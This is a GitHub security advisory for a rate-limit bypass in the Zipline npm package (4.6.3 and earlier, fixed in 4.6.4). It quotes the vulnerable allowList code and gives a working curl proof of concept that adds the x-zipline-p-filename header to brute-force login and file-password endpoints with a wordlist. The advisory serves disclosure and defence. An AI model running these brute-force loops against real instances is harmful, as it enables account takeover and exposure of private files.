Skip to content

Rate Limit Bypass via x-zipline-p-filename Header Enables Unlimited Brute-Force on Login and Password Endpoints

High
diced published GHSA-2qgq-hv52-jhqq Jul 6, 2026

Package

npm zipline (npm)

Affected versions

<= 4.6.3

Patched versions

4.6.4

Description

Summary

I found that Zipline's global rate-limit allowList callback unconditionally exempts any request that includes the x-zipline-p-filename header — a header intended only for chunked partial-file uploads — from all rate limiting, regardless of which endpoint is being called or whether the request is a legitimate partial upload. Any unauthenticated attacker can include this header on requests to the login, file-password, and URL-password endpoints to bypass rate limiting entirely, enabling unlimited brute-force attacks on user passwords and password-protected file/URL access codes.

Details

In src/server/startup/plugins.ts at line 76, the @fastify/rate-limit plugin's allowList callback returns true for any request containing x-zipline-p-filename:

// src/server/startup/plugins.ts line 76
allowList: async (req, key) => {
  if (config.ratelimit.adminBypass && isAdministrator(req.user?.role)) return true;
  if (config.ratelimit.allowList.includes(key)) return true;
  if (Object.keys(req.headers).includes('x-zipline-p-filename')) return true;  // ← no validation
  return false;
},

The x-zipline-p-filename header is part of the chunked partial-upload protocol, but:

  1. There is no check that the request is actually a POST /api/upload or partial-upload route
  2. There is no check that the header value is a valid partial-upload identifier
  3. The allowList callback is evaluated globally before any per-route rate-limit overrides

The consequence is that any request to any rate-limited route — including authentication and password-checking endpoints — is completely exempt from rate limiting if the client includes x-zipline-p-filename: anything.

Affected endpoints:

  • POST /api/auth/login — brute-force user/admin login passwords
  • POST /api/user/files/:id/password — brute-force password-protected file access codes
  • POST /api/user/urls/:id/password — brute-force password-protected short URL access codes
  • POST /api/upload — authenticated users can exhaust server disk at unrestricted upload speed

PoC

Prerequisites:

  • A publicly accessible Zipline instance
  • Tools: curl
ZIPLINE="https://zipline.example.com"

# Step 1 — Confirm rate limiting is active without the bypass header
for i in $(seq 1 6); do
  CODE=$(curl -so /dev/null -w "%{http_code}" -X POST "$ZIPLINE/api/auth/login" \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"wrong"}')
  echo "Attempt $i: HTTP $CODE"
done
# Expected: first ~5 return 401 (wrong password), 6th returns 429 Too Many Requests

# Step 2 — Add the bypass header — rate limiting is completely disabled
PASS_LIST=(password1 password2 password3 password4 password5 password6 password7 password8)
for PASS in "${PASS_LIST[@]}"; do
  CODE=$(curl -so /dev/null -w "%{http_code}" -X POST "$ZIPLINE/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "x-zipline-p-filename: bypass" \
    -d "{\"username\":\"admin\",\"password\":\"$PASS\"}")
  echo "Password '$PASS': HTTP $CODE"
done
# Expected: all return 401 (wrong) or 200 (correct) — NEVER 429, no rate limiting

# Step 3 — Brute-force a password-protected file (no auth required)
FILE_ID="<file-id-from-url>"
for PASS in $(cat /usr/share/wordlists/rockyou.txt | head -10000); do
  RESP=$(curl -s -X POST "$ZIPLINE/api/user/files/$FILE_ID/password" \
    -H "Content-Type: application/json" \
    -H "x-zipline-p-filename: bypass" \
    -d "{\"password\":\"$PASS\"}")
  echo "$RESP" | grep -q '"url"' && echo "FOUND: $PASS" && break
done
# Expected: password found in seconds/minutes depending on list size

# Normal behavior comparison — without the bypass header:
curl -X POST "$ZIPLINE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"wrong"}'
# After 5 attempts: HTTP 429 {"message":"rate limit exceeded, retry in 60 seconds"}

Impact

An unauthenticated attacker can:

  1. Brute-force admin/user login passwords at the full throughput of the server's argon2 verification (typically 2–10 checks/second per core), with no per-IP throttling, using a common password wordlist
  2. Brute-force password-protected file access codes without needing any account — exposing the contents of private files shared via password-protected links
  3. Brute-force password-protected short URL access codes — revealing the destinations of private links

Authenticated users can additionally:
4. Exhaust server disk storage by uploading at unrestricted speed, bypassing the configured upload rate limit, causing denial of service for other users

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

CVE ID

No known CVE

Weaknesses

Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. Learn more on MITRE.

Improper Control of Interaction Frequency

The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests. Learn more on MITRE.